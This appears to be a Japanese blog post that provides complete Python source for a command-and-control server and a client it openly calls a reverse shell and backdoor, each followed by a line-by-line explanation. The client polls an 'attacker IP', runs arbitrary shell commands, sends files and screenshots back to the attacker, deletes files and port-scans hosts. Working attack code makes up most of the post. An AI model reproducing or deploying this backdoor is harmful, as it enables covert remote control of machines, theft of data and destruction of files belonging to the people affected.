banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Pythonでサーバー側のリモートCMDコマンドを実行する

image

import http.server
import os,cgi

localhost= '127.0.0.1'    #ローカルIP非公開IP
port= 8081    #リスニングポート

class MyHandler(http.server.BaseHTTPRequestHandler):
    global hostMachine    #ホストマシン
    hostMachine=0
    def do_GET(self):    #GETリクエスト処理
        global hostMachine
        if hostMachine==0:
            hostMachine=1
            print('ホストマシンがオンラインになりました')
        command = input("<Potato>$ ")
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(command.encode())
        if command=='exit':
            print('[Result] このホストはオフラインになりました') 
            hostMachine=0
        print('\n')

    def do_POST(self):    #POSTリクエスト処理
        if self.path == '/tmp':#ファイルデータ処理
            try:
                ctype, pdict = cgi.parse_header(self.headers.get('Content-type'))
                if ctype == 'multipart/form-data':
                    fs = cgi.FieldStorage(fp=self.rfile, headers = self.headers, environ = {'REQUEST_METHOD' : 'POST'})
                else:
                    print('[Error] POSTデータ形式エラー')
                fs_data = fs['file'].file.read()
                fs_name = fs['name'].file.read().decode('gbk')
                with open('/s-'+fs_name, 'wb') as o:
                    print('[Information] 取得中 ........')
                    o.write(fs_data)
                    print('[Result] /s-'+fs_name に保存されました')
                    self.send_response(200)
                    self.end_headers()
                    print('\n')
            except Exception as e:
                print(e)
            return

        self.send_response(200)
        self.end_headers()
        length = int(self.headers['Content-length'])
        postVar = self.rfile.read(length)
        print(postVar.decode('gbk','ignore'))

if __name__ == "__main__":
    httpd = http.server.HTTPServer((localhost, port), MyHandler)    #簡易HTTPサーバーを構築
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print('\n'+'[Error] サーバーがシャットダウンしました')

サーバー側のコードは、GET および POST リクエストを処理できるシンプルな HTTP サーバーを実装しています。このサーバーは、リモートユーザーが GET リクエストを介してコマンドを送信し、応答を受け取ることを許可し、POST リクエストを介してファイルをアップロードすることもできます。

以下はコードの詳細な説明です:

モジュールのインポートとリスニングアドレスおよびポートの設定:

必要なモジュール http.server、os、および cgi を最初にインポートしました。

ローカル IP アドレス localhost とリスニングポート port を定義しました。

カスタムリクエスト処理クラス MyHandler の作成:

MyHandler クラスは http.server.BaseHTTPRequestHandler を継承し、HTTP リクエストを処理します。

MyHandler クラス内で、ホストのオンライン状態をマークするためのグローバル変数 hostMachine を定義しました。

GET リクエストの処理 (do_GET メソッド):

GET リクエストを受信すると、サーバーはユーザーにコマンドの入力を促し、標準入力 (input) からコマンドを取得します。

ホストが以前オフライン状態であった場合、オンライン状態としてマークし、メッセージを表示します。

受信したコマンドは HTTP 応答の形式でクライアントに送信され、ステータスコードは 200 です。

コマンドが "exit" の場合、オフラインメッセージを表示し、ホストをオフライン状態としてマークします。

POST リクエストの処理 (do_POST メソッド):

リクエストパスが "/tmp" の場合、クライアントがファイルをアップロードしようとしていることを示します。

リクエストの Content-Type を確認し、"multipart/form-data" の場合は cgi.FieldStorage を使用してファイルアップロードを処理します。

アップロードされたファイルはサーバー上に保存され、ファイル名は "/s-" で始まり、クライアントにアップロード成功のメッセージを応答します。

例外が発生した場合、エラーメッセージを表示します。

メインプログラム部分:

if name == "main": 部分では、ローカル IP アドレスと指定されたポートにバインドされたシンプルな HTTP サーバーを作成しました。

http.server.HTTPServer を使用してサーバーオブジェクトを作成し、指定されたアドレスとポートをリスニングします。

サーバーは無限ループで実行され、クライアントリクエストを処理し、キーボード割り込み (Ctrl+C) がキャッチされるまでサーバーを閉じません。

import requests
import os
import time
import random
import subprocess
import pyscreenshot
import socket

def connect(attackerIp):
    while True:
        try:
            req = requests.get(attackerIp)
            command = req.text.strip() # サーバーからのコマンドを取得し、前後の空白を削除
            # 以下はカスタム機能
            if command == 'exit':    # プログラムを終了
                return 1

            elif command.startswith('get'):    # ファイルを取得
                path = command.split(" ")[1]
                if os.path.exists(path):
                    url = f'{attackerIp}/tmp'
                    files = {'file': open(path, 'rb'), 'name': os.path.basename(path)}
                    r = requests.post(url, files=files)
                else:
                    r = requests.post(url=attackerIp, data='[Error] 指定されたファイルは存在しません'.encode('gbk'))

            elif command == 'screenshot':    # スクリーンショットを取得
                try:
                    image = pyscreenshot.grab()
                    image.save("/kernel.png")
                    url = f'{attackerIp}/tmp'
                    files = {'file': open("/kernel.png", "rb"), 'name': os.path.basename("/kernel.png")}
                    r = requests.post(url, files=files)
                except Exception as e:
                    r = requests.post(url=attackerIp, data=str(e).encode('gbk'))

            elif command.startswith('remove'):    # ファイルを削除
                filename = command.split(' ')[1]
                if os.path.exists(filename):
                    os.remove(filename)
                else:
                    r = requests.post(attackerIp, data="[Error] ファイルは存在しません".encode('gbk'))

            elif command.startswith('scan'):    # ポートスキャン
                try:
                    scan_result = ''
                    if len(command.split(" ")) > 2:
                        scan, ip, port = command.split(" ")
                    else:
                        port = command.split(" ")[1]
                        ip = '127.0.0.1'
                    scan_result = '\n'

                    defPort = list(range(1, 1001)) + [1433, 3306, 5432, 6379, 9200]  # デフォルトスキャンポート
                    port = defPort if port == 'default' else port.split(',') if ',' in port else [port]

                    for p in port:
                        try:
                            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                                sock.settimeout(3)
                                result = sock.connect_ex((ip, int(p)))
                                if result == 0:
                                    scan_result += f"       [オープン] {p}\n"
                        except Exception:
                            pass
                    r = requests.post(url=attackerIp, data=scan_result.encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] スキャンポートエラー".encode('gbk'))

            elif command.startswith('cd'):    # ディレクトリを変更
                directory = command.split(' ')[1]
                try:
                    os.chdir(directory)
                    r = requests.post(attackerIp,
                                      data=f"[Result] ディレクトリを {os.getcwd()} に変更しました".encode('gbk'))
                except Exception:
                    r = requests.post(attackerIp, data="[Error] ディレクトリを変更できません".encode('gbk'))

            else:    # ショートカットコマンドでない場合、コマンドを実行
                try:
                    CMD = subprocess.run(command, shell=True, capture_output=True)
                    r = requests.post(url=attackerIp, data=CMD.stdout)
                    r = requests.post(url=attackerIp, data=CMD.stderr)
                except Exception:
                    pass

        except Exception as e:
            pass

if __name__ == '__main__':
    attackerIp = 'http://127.0.0.1:8081'       # 攻撃者の公開IP:リスニングポート
    while True:
        try:
            if connect(attackerIp) == 1:
                break
        except:
            time.sleep(int(random.randrange(1, 10)))    # 接続なしの時間間隔検出

クライアント側のこのコードは、リバースシェルを実装したものであり、バックドアプログラムでもあります。これは、攻撃者が指定した IP アドレスに継続的に接続し、攻撃者から送信されたコマンドを受信して対応する操作を実行します。

最初に、コードは必要なライブラリをインポートします。requests は HTTP リクエストを送信するために使用され、os はファイルとディレクトリを操作するために使用され、time は遅延を設定するために使用され、random はランダム数を生成するために使用され、subprocess は外部コマンドを実行するために使用され、pyscreenshot はスクリーンショットを取得するために使用され、socket はポートスキャンを行うためにソケットを作成するために使用されます。

次に、connect 関数が定義されており、この関数は接続とコマンド実行の操作を継続的にループします。ループ内では、requests ライブラリを使用して HTTP GET リクエストを送信し、攻撃者から送信されたコマンドを取得し、コマンド文字列の前後の空白を削除します。その後、コマンドの内容に応じて対応する操作を実行します。

コマンドの解析ロジックは次のとおりです:

コマンドが exit の場合、プログラムを終了します。

コマンドが get で始まる場合、ファイルを取得することを示し、コマンド内のパスを取り出し、ファイルが存在するかどうかを確認します。ファイルが存在する場合、requests ライブラリを使用して HTTP POST リクエストを送信し、ファイルを攻撃者に送信します。そうでない場合は、エラーメッセージを送信します。

コマンドが screenshot の場合、pyscreenshot ライブラリを使用してスクリーンショットを取得し、"/kernel.png" ファイルとして保存し、その後攻撃者に送信します。

コマンドが remove で始まる場合、ファイルを削除することを示し、コマンド内のファイル名を取り出し、ファイルが存在するかどうかを確認します。ファイルが存在する場合、os.remove 関数を使用してファイルを削除します。そうでない場合は、エラーメッセージを送信します。

コマンドが scan で始まる場合、ポートスキャンを実行することを示します。コマンドには 2 つの形式があり得ます:scan または scan default。コマンド内のパラメータに基づいてポートスキャンを実行し、オープンポート情報を攻撃者に送信します。

コマンドが cd で始まる場合、ディレクトリを変更することを示し、コマンド内のディレクトリ名を取り出し、os.chdir 関数を使用してディレクトリを変更し、その結果を攻撃者に送信します。

上記の条件がすべて満たされない場合、コマンドを subprocess.run 関数に渡して実行し、実行結果を攻撃者に送信します。

最後に、if name == 'main': 内で、攻撃者の IP アドレスとポートを定義し、connect 関数を呼び出して接続を継続します。connect 関数の戻り値が 1 の場合、プログラムを終了します。接続に失敗した場合、time.sleep 関数を使用してランダムなスリープ時間を設定し、頻繁な接続を避けます。
サーバーがクライアントに CMD コマンドを実行させる:

image

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。